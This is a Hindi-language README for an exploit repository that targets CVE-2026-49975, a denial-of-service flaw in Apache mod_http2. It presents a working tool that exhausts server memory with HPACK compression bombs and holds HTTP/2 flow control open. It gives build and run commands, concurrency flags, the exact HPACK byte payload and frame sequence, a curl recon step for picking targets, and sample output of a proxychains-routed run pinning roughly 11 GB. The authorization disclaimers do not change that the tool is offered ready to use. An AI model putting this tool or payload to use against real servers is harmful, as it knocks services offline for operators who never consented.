
Apache mod_http2 में CVE-2026-49975 के लिए सुरक्षा शोध PoC: HTTP/2 HPACK कम्प्रेशन बम + फ़्लो-कंट्रोल होल्ड DoS
naheeju द्वारा सुरक्षा अनुसंधान PoC
⚠️ यह एक कार्यशील, मेमोरी-एक्सहॉशन DoS टूल है — कोई खिलौना नहीं। यह ऐसी स्ट्रीम्स खोलता है जो लक्ष्य को मेमोरी आवंटित करने के लिए बाध्य करती हैं और HTTP/2 फ़्लो-कंट्रोल ट्रिक्स के माध्यम से उन्हें खुला रखता है। जब तक प्रक्रिया चल रही है, यह होल्ड करता रहता है और यदि सर्वर कनेक्शन गिरा देता है तो स्वचालित रूप से पुनः कनेक्ट हो जाता है — यह अपने आप नहीं रुकता। प्रभाव सीधे
--threads, , और के साथ बढ़ता है। प्रक्रिया को रोकने (Ctrl+C) से होल्ड की गई स्ट्रीम्स मुक्त हो जाती हैं और सर्वर रिकवर हो जाता है, लेकिन डिफ़ॉल्ट संचालन में कुछ भी "सौम्य" नहीं है — प्रत्येक रन को लाइव-फ़ायर परीक्षण मानें।
--streams--headersCVE-2026-49975 ("HTTP/2 बम") एक रिमोट, अनऑथेंटिकेटेड डिनायल-ऑफ़-सर्विस भेद्यता है जो Apache HTTP Server के mod_http2 मॉड्यूल को प्रभावित करती है। यह दो लंबे समय से ज्ञात HTTP/2 कमजोरियों को श्रृंखलाबद्ध करती है:
Cookie हेडर फ़्रैगमेंट्स को LimitRequestFields के विरुद्ध गिने बिना मर्ज करने का कारण बनता है, जिससे सर्वर आंतरिक हेडर बुककीपिंग संरचनाओं के लिए बार-बार मेमोरी आवंटित करने के लिए बाध्य होता है।परिणाम: एक मामूली कनेक्शन पर एक अकेला क्लाइंट जब तक स्ट्रीम खुली रहती है, तब तक लक्ष्य पर महत्वपूर्ण, निरंतर मेमोरी आवंटन को बाध्य कर सकता है। यह कार्यान्वयन दो पेलोड मोड का समर्थन करता है और आपके द्वारा कॉन्फ़िगर की गई समवर्तीता के साथ रैखिक रूप से स्केल करता है:
nginx मोड — HPACK डायनामिक टेबल में एक खाली x-bomb हेडर रखता है और बार-बार उसका पुनः संदर्भ देता है (प्रति संदर्भ ~70:1 प्रवर्धन)।classic मोड — इसके बजाय एक अत्यधिक बड़ा cookie हेडर रखता है (प्रति संदर्भ ~4000:1 प्रवर्धन)।प्रत्येक कनेक्शन प्रति स्ट्रीम रखे गए हेडर का हज़ारों बार पुनः संदर्भ देता है (--headers, डिफ़ॉल्ट 5000), प्रति कनेक्शन कई स्ट्रीम्स में (--streams, डिफ़ॉल्ट 10) और कई समानांतर कनेक्शनों में (--threads, डिफ़ॉल्ट 1)। यदि सर्वर कनेक्शन बंद कर देता है, तो टूल तुरंत पुनः कनेक्ट होता है और चलता रहता है जब तक मैन्युअल रूप से रोका न जाए — यह एक निरंतर-होल्ड लूप है, एकल वन-शॉट प्रोब नहीं।
अन्य प्रभावित स्टैक्स के लिए संबंधित पहचानकर्ता (इस रेपो द्वारा कार्यान्वित या परीक्षित नहीं):
CVE-2026-47774पूर्णता के लिए, अंतर्निहित कमजोरी वर्ग का पूर्ण दायरा — "HTTP/2 बम" तकनीक (HPACK कम्प्रेशन बम + फ़्लो-कंट्रोल होल्ड) Apache से परे कई सर्वर कार्यान्वयनों को प्रभावित करती है। यह रेपो केवल Apache मामले को कार्यान्वित और परीक्षित करता है; बाकी इसलिए शामिल हैं ताकि पाठक व्यापक वर्ग को समझ सकें, इसलिए नहीं कि यह PoC उन्हें प्रयोग करता है:
| कार्यान्वयन | स्थिति | इस PoC में कार्यान्वित? |
|---|---|---|
Apache HTTP Server mod_http2 | httpd 2.4.68 (2026-06-08) में ठीक किया गया | हाँ — यह रेपो |
| nginx | 1.29.8 में ठीक किया गया | नहीं |
| Envoy | अलग से ट्रैक किया गया | नहीं |
| Microsoft IIS | अलग से ट्रैक किया गया | नहीं |
| Cloudflare Pingora | अलग से ट्रैक किया गया | नहीं |
| CVE | CVE-2026-49975 |
| CWE | CWE-789 (अत्यधिक आकार मान के साथ मेमोरी आवंटन, NVD/CVE.org के अनुसार); कुछ विक्रेताओं द्वारा CWE-409 (अत्यधिक संपीड़ित डेटा का अनुचित प्रबंधन) के रूप में भी ट्रैक किया गया |
| CVSS | 7.5 (उच्च) — CVSS v3.1, केवल-उपलब्धता वेक्टर (NVD के अनुसार)। Apache की स्वयं की सलाह इसे मध्यम दर्जा देती है। |
| प्रभावित घटक | Apache HTTP Server mod_http2 |
| भेद्य संस्करण | Apache httpd 2.4.17 ≤ संस्करण ≤ 2.4.67 (डिफ़ॉल्ट HTTP/2 कॉन्फ़िग) |
| इसमें ठीक किया गया | Apache HTTP Server 2.4.68 (2026-06-08 को जारी)। अंतर्निहित फ़िक्स 2026-05-27 को mod_h2 में अपस्ट्रीम लैंड हुआ, 2026-06-02 को httpd 2.4.x ब्रांच में मर्ज किया गया, 2.4.68 रिलीज़ में भेजा गया। |
| हमले का प्रकार | डिनायल ऑफ़ सर्विस — मेमोरी एक्सहॉशन (केवल उपलब्धता) |
| प्रमाणीकरण आवश्यक | नहीं |
| डेटा एक्सपोज़र / RCE | कोई नहीं — यह केवल उपलब्धता-प्रभाव है |
| ज्ञात शोषित | वर्तमान में ट्रैक किए गए स्रोतों द्वारा जंगल में ज्ञात-शोषित के रूप में चिह्नित नहीं। |
संदर्भ (प्राथमिक स्रोत — सभी दावों को स्वतंत्र रूप से सत्यापित करें):
इस रिपॉज़िटरी में शामिल है:
इस रिपॉज़िटरी में शामिल नहीं है:
कुछ और करने से पहले इसे पढ़ें।
इस रिपॉज़िटरी में किसी भी कोड को डाउनलोड, क्लोन, या निष्पादित करके, आप सहमत हैं कि आप यह सुनिश्चित करने के लिए पूरी तरह से ज़िम्मेदार हैं कि आपके पास उचित प्राधिकरण है, और आप इसके अपने उपयोग के लिए पूर्ण कानूनी ज़िम्मेदारी स्वीकार करते हैं।
CVE-2026-49975 केवल उस लक्ष्य पर लागू होता है जो अनुभाग 1 में दोनों मानदंडों को पूरा करता है — HTTP/2 पर पहुँचने योग्य और रेंज में एक भेद्य mod_http2 संस्करण चला रहा हो (2.4.17 ≤ संस्करण ≤ 2.4.67, डिफ़ॉल्ट कॉन्फ़िग)। लक्ष्य के HTTPS पोर्ट के विरुद्ध एक सादा curl -vkI दोनों की जाँच के लिए पर्याप्त है — किसी स्कैनर या अतिरिक्त फ़्लैग की आवश्यकता नहीं:
curl -vkI https://<target>
आउटपुट में क्या देखें:
ALPN: server accepted h2 — सर्वर ने इस कनेक्शन के लिए HTTP/2 पर बातचीत की। यह CVE-2026-49975 की पूर्व शर्त है, क्योंकि बग mod_http2 में रहता है; जिस सर्वर ने यहाँ कभी h2 स्वीकार नहीं किया वह उम्मीदवार नहीं है।Server प्रतिक्रिया हेडर (HEAD प्रतिक्रिया हेडर प्रिंट होने पर दिखाई देता है, -v आउटपुट में नीचे) — यह वही है जो अनुभाग 1 में भेद्य रेंज के विरुद्ध वास्तविक Apache/mod_http2 संस्करण की पुष्टि या खंडन करता है। अकेले ALPN स्वीकृति संस्करण की पुष्टि नहीं करती — उसके लिए अभी भी Server हेडर या समकक्ष बैनर जाँच की आवश्यकता है।इस रेपो में रेकॉन के लिए इससे आगे कुछ भी उपयोग नहीं किया जाता — कोई सक्रिय शोषण ट्रैफ़िक नहीं, कोई भेद्यता स्कैनर नहीं, कोई पोर्ट स्वीप नहीं।
cve202649975)golang.org/x/net v0.59.0 (go build के माध्यम से स्वचालित रूप से हल)443, डिफ़ॉल्ट रूप से TLS/h2; plaintext h2c के लिए --no-ssl)proxychains4 के अंतर्गत लॉन्च की जाती है, तो यह LD_PRELOAD रैपर का पता लगाती है, वही proxychains4.conf पढ़ती है, और अपने स्वयं के कनेक्शनों को उस SOCKS5 प्रॉक्सी के माध्यम से रूट करती है (रिमोट DNS रिज़ॉल्यूशन) — उपयोगी जब किसी एंगेजमेंट के दायरे के लिए विशिष्ट एग्रेस पथ से परीक्षण की आवश्यकता होCVE-2026-49975 की सार्वजनिक समयरेखा: Apache को 2026-05-26 को रिपोर्ट किया गया; फ़िक्स 2026-05-27 को
mod_h2में अपस्ट्रीम लैंड हुआ; 2026-06-02 को httpd 2.4.x ब्रांच में मर्ज किया गया; Apache HTTP Server 2.4.68 2026-06-08 को जारी किया गया।
इसे केवल उस लक्ष्य के विरुद्ध चलाएँ जिसका परीक्षण करने के लिए आप स्पष्ट रूप से अधिकृत हैं। कोई अंतर्निहित अवधि सीमा या सेफ़-मोड नहीं है — यह कितनी देर चलता है और किस समवर्तीता पर, इसके लिए आप ज़िम्मेदार हैं।
बिल्ड:
go build -o dos ./cmd
# or: sudo install -m 0755 dos /usr/local/bin/dos (see build.sh)
रन:
./dos <target> <port> [flags]
| फ़्लैग | डिफ़ॉल्ट | विवरण |
|---|---|---|
--threads N | 1 | समानांतर कनेक्शन |
--streams N | 10 | प्रति कनेक्शन खोली गई स्ट्रीम्स |
--headers N | 5000 | प्रति स्ट्रीम HPACK डायनामिक-टेबल संदर्भ (प्रवर्धन चालक) |
--mode nginx|classic | nginx | nginx = खाली-हेडर बुककीपिंग बम (~70:1); classic = फैट-कुकी बम (~4000:1, Apache mod_http2 Cookie-मर्जिंग तंत्र से मेल खाता है जिसके लिए यह CVE ट्रैक किया गया है) |
--no-ssl | बंद | TLS के बजाय plaintext h2c का उपयोग करें |
उदाहरण, न्यूनतम अधिकृत लैब परीक्षण:
./dos lab-target.internal 443 --threads 1 --streams 5 --headers 1000 --mode nginx
अपेक्षित व्यवहार:
WINDOW_UPDATE ड्रिप्स और आवधिक पिंग्स के साथ स्ट्रीम्स को खुला रखता है; यदि सर्वर कनेक्शन बंद कर देता है तो स्वतः पुनः कनेक्ट होता है और दोहराता है।Ctrl+C / SIGTERM भेजते हैं — तदनुसार अपनी परीक्षण विंडो की योजना बनाएँ और लक्ष्य की मेमोरी की वास्तविक समय में निगरानी करें।--streams/--headers के साथ स्टेजिंग/लैब वातावरण के विरुद्ध सत्यापित करें, और लक्ष्य सेवा के लिए रोलबैक/रीस्टार्ट योजना तैयार रखें।इस टूल के दो मोड के लिए मोटा सर्वर-साइड मेमोरी सूत्र (केवल Apache mod_http2 — nginx/classic प्रवर्धन अनुपात से कैसे मैप होते हैं, इसके लिए अनुभाग 1 देखें):
total_streams = threads × streams
server_ram_MB ≈ total_streams × headers × amplification_bytes / 1024²
# nginx mode (~70 bytes/ref), defaults (threads=1, streams=10, headers=5000):
# 1 × 10 × 5000 × 70 / 1024² ≈ 3.3 MB held
# classic mode (~4000 bytes/ref), defaults:
# 1 × 10 × 5000 × 4000 / 1024² ≈ 190 MB held
threads/streams/headers को बढ़ाएँ और संख्या रैखिक रूप से बढ़ती है — यही कारण है कि किसी भी उत्पादन-दायरे के रन से पहले एक अधिकृत लैब परीक्षण कम से शुरू होना चाहिए (अनुभाग 7 देखें)।
यह उस तंत्र का दस्तावेज़ीकरण करता है जिसे यह विशिष्ट PoC Apache mod_http2 के विरुद्ध कार्यान्वित करता है — यह अन्य सर्वर कार्यान्वयनों तक विस्तारित नहीं होता, जो इस रिपॉज़िटरी के दायरे से बाहर हैं (अनुभाग 2 देखें)।
HPACK डायनामिक-टेबल सीड (इंक्रीमेंटल इंडेक्सिंग, इंडेक्स 62 पर प्रविष्टि जोड़ता है):
0x40 | name_len | name | value_len | value
= 0x40 0x06 "x-bomb" 0x00 (nginx-mode seed: empty value)
उस प्रविष्टि का इंडेक्स्ड संदर्भ (प्रत्येक 1 बाइट, --headers बार दोहराया गया):
0x80 | 62 = 0xbe
प्रति कनेक्शन HTTP/2 फ़्रेम अनुक्रम:
Client → Server:
PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n (connection preface)
SETTINGS [INITIAL_WINDOW_SIZE=0] (flow-control stall setup)
SETTINGS ACK (after reading server SETTINGS)
HEADERS [stream 1] ← HPACK bomb payload
HEADERS [stream 3] ← HPACK bomb payload
... (up to --streams per connection)
WINDOW_UPDATE(1) per stream, periodically (keeps the stall alive)
वायर लागत छोटी और प्रति स्ट्रीम अधिकतर निश्चित है (सीड के लिए कुछ बाइट्स + प्रति संदर्भ 1 बाइट); सर्वर-साइड आवंटन वही है जो असमान रूप से बढ़ता है — यही अंतर भेद्यता है।
एक अधिकृत लैब रन से आउटपुट, classic मोड, 20 कनेक्शन × 30 स्ट्रीम्स/कॉन, 5000 HPACK रेफ़्स/स्ट्रीम, proxychains के माध्यम से रूट किया गया:
proxychains4 dos domain.com 443 --mode classic --threads 20 --streams 30 --headers 5000
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
██╗ ██╗██████╗ ██████╗ ██████╗ ███╗ ███╗██████╗
██║ ██║╚════██╗ ██╔══██╗██╔═══██╗████╗ ████║██╔══██╗
███████║ █████╔╝ ██████╔╝██║ ██║██╔████╔██║██████╔╝
██╔══██║██╔═══╝ ██╔══██╗██║ ██║██║╚██╔╝██║██╔══██╗
██║ ██║███████╗ ██████╔╝╚██████╔╝██║ ╚═╝ ██║██████╔╝
╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝
CVE-2026-49975 — HTTP/2 Bomb PoC (HPACK bomb + flow-control hold)
Go PoC by naheeju · originally discovered by Calif.IO · authorized testing only
──────────────────────────────────────────────────────────────────
Run configuration
Target domain.com:443
Mode classic (~4000:1 amplification)
Connections 20
Streams/conn 30
Total streams 600
HPACK refs/str 5000
Est. server RAM ~11444 MB
Proxychains yes — SOCKS5 127.0.0.1:9050 (remote DNS, no leak)
──────────────────────────────────────────────────────────────────
[~] Opening connection #1...
...
[+] 30 streams open | ~572 MB pinned on server | holding...
[+] 30 streams open | ~572 MB pinned on server | holding...
... (one line per connection as it finishes opening its 30 streams)
प्रत्येक कनेक्शन स्ट्रीम्स खोलते समय स्वतंत्र रूप से अपना स्थानीय RAM योगदान रिपोर्ट करता है (इन सेटिंग्स पर प्रति कनेक्शन ~572 MB); प्री-फ़्लाइट Est. server RAM आंकड़ा सभी 20 कनेक्शनों में कुल योग है (~11.4 GB) जब प्रत्येक कनेक्शन पूरी तरह से खुला और होल्ड कर रहा हो।
ऊपर
domain.comएक प्लेसहोल्डर है — अपने स्वयं के रन का दस्तावेज़ीकरण करते समय इसे अपने वास्तविक अधिकृत लक्ष्य से बदलें, और यदि एंगेजमेंट गोपनीय है तो इसे रिडैक्ट करें।
LimitRequestFields को रूढ़िवादी रूप से सेट करें और हेडर-मर्ज व्यवहार की निगरानी करें।**मूल भेद्यता खोज